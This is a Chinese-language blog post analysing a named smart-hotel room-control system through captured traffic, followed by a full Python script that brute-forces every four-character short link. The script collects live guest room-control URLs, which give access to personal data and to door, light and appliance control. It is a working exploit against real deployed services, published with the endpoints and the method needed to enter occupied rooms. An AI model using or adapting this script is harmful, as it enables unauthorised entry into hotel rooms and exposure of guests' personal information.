7月份去苏州中学化学竞赛培训的时候, 入住了苏州中学对面的”美途智选酒店”, 发现酒店使用了名为 携住科技 的一套智能酒店管理系统.
这套管理系统看似颇为高端, 酒店可以用手机遥控开门, 都不用房卡?
后来在午休闲暇时, 对该管理系统进行了抓包分析.
<分析过程>
首先旅客入住后会通过短信收到一个类似 https://hub2.cn/xxxx 的地址, 其中xxxx是4位大小写字母与数字的组合. 推测这是一个第三方提供的短链接服务, 返回一个真实地址的 Base64 值与一段 js 脚本用于继续跳转. 后经过多次跳转(推测用于统计网站流量), 将用户引导至第一个携住网的地址, 形似https://sms.xiezhuwang.com/hotelmaster/firstlook?path=home&key=xxxxxxxxxx 该页面会显示欢迎页面, 同时设置用户 Cookie 中的 Session ID, 随即跳转到控制用页面.
控制用页面中的 js 脚本会调用同网站的 /Client/GetTicketLightAndDevice 接口, 返回值如下(因版面问题未将 json 格式化, 抱歉)
1 {"ticketList" :[] ,"lightConfig" : [{"AreaName" :"灯光" ,"DeviceList" : [{"Key" : 10005 ,"Name" :"灯1" ,"DeviceType" :"256" },{"Key" : 10006 ,"Name" :"灯2" ,"DeviceType" :"256" },{"Key" : 10007 ,"Name" :"灯3" ,"DeviceType" :"256" },{"Key" : 10008 ,"Name" :"灯4" ,"DeviceType" :"256" }]}],"deviceList" : [{"DeviceRealType" :"ac" ,"DeviceList" : [{"DeviceKey" : 10003 ,"DeviceName" :"空调" ,"DeviceType" :"32" ,"State" : 0 ,"Remark" :null }]},{"DeviceRealType" :"curtain" ,"DeviceList" : [{"DeviceKey" : 10001 ,"DeviceName" :"窗帘" ,"DeviceType" :"2" ,"State" : 0 ,"Remark" :null }]},{"DeviceRealType" :"tv" ,"DeviceList" : [{"DeviceKey" : 10004 ,"DeviceName" :"电视" ,"DeviceType" :"32" ,"State" : 0 ,"Remark" :null }]},{"DeviceRealType" :"audio" ,"DeviceList" : [{"DeviceKey" : 10002 ,"DeviceName" :"音响" ,"DeviceType" :"272" ,"State" : 0 ,"Remark" :null }]},{"DeviceRealType" :"lift" ,"DeviceList" :[] }],"hasDoor" :false ,"isDemo" :true ,"isSuccess" :true }
如该房间还未退房(写文章时我已经退房), 返回的 json 的 ticketList 数组中将包含 ticketCode 与住户的其他个人信息, 同时 json 中的 isDemo 值为 false.
接下来只需要使用获取的 ticketCode 与 Cookie 中的 Session ID 继续访问 /Client/UseConsole 接口便可以进一步控制房门, 灯光, 窗帘, 空调等房间内设.
</分析过程>
至此, 可能还没有什么明显的漏洞, 可是稍微深入分析, 就会发现整个系统的第一步–短链接, 便是不可靠的.短链接使用了四位大小写字母与数字的组合, 总计 ( 26 * 2 + 10 ) ^ 4 = 14776336 种. 而对于如今快速发展的互联网, 甚至手机移动数据都可以轻易的试出所有组合.
具体 Python 实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import requests import _thread import time import base64 import json all_str = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789" total = ( 26 * 2 + 10 ) ** 4 counter = 0 running = 16 def is_valid_room(req): start = req.find ("real_url_base64" ) if start == -1: print ("invalid: url not found " + req) return False req = req[start:] start = req.find ("value=\"" ) req = req[start + 7:] req = req[:req.find ("\"" )] url = "" try: url = base64.b64decode(req.encode("utf-8" )).decode("utf-8" ) except Exception as e: print (e) return False if "sms.xiezhuwang.com/hotelmaster/firstlook" not in url: print ("invalid url:" + url) return False req = requests.get (url, verify =False , timeout =10) print (req.cookies) session_id_cookie = req.cookies req = requests.get ("https://sms.xiezhuwang.com//Client/GetTicketLightAndDevice?t=" + str(round(time.time())), cookies =session_id_cookie, verify =False ).content.decode("utf-8") print (req) try: res = json.loads(req)["ticketList" ][0] print (res["RoomNo" ]) print ("OK!" ) f = open(res["HotelName" ] + "-" + res["RoomNo" ], "w" ) f.write(url) f.close() return True except Exception as e: print (e) print ("invalid: failed to get RoomNo" ) return False def check(i): global running while True : try: running -= 1 r = requests.get ("https://hub2.cn/" + i, timeout =2, verify =False ).content.decode("utf-8") if "短网址不存在" not in r: if is_valid_room(r): f = open(i, "w" ) f.write(r) f.close() running += 1 break except Exception as e: print (e) running += 1for i in all_str: for i2 in all_str: for i3 in all_str: for i4 in all_str: res = i + i2 + i3 +i4 counter += 1 while running < 0: pass _thread.start_new_thread(check, (res,)) time.sleep(0.001) print (str(running) + " " + res + " " + str(counter) + " " + str(counter / total))
所以想要随意进出他人房间就是轻而易举的事?
以上.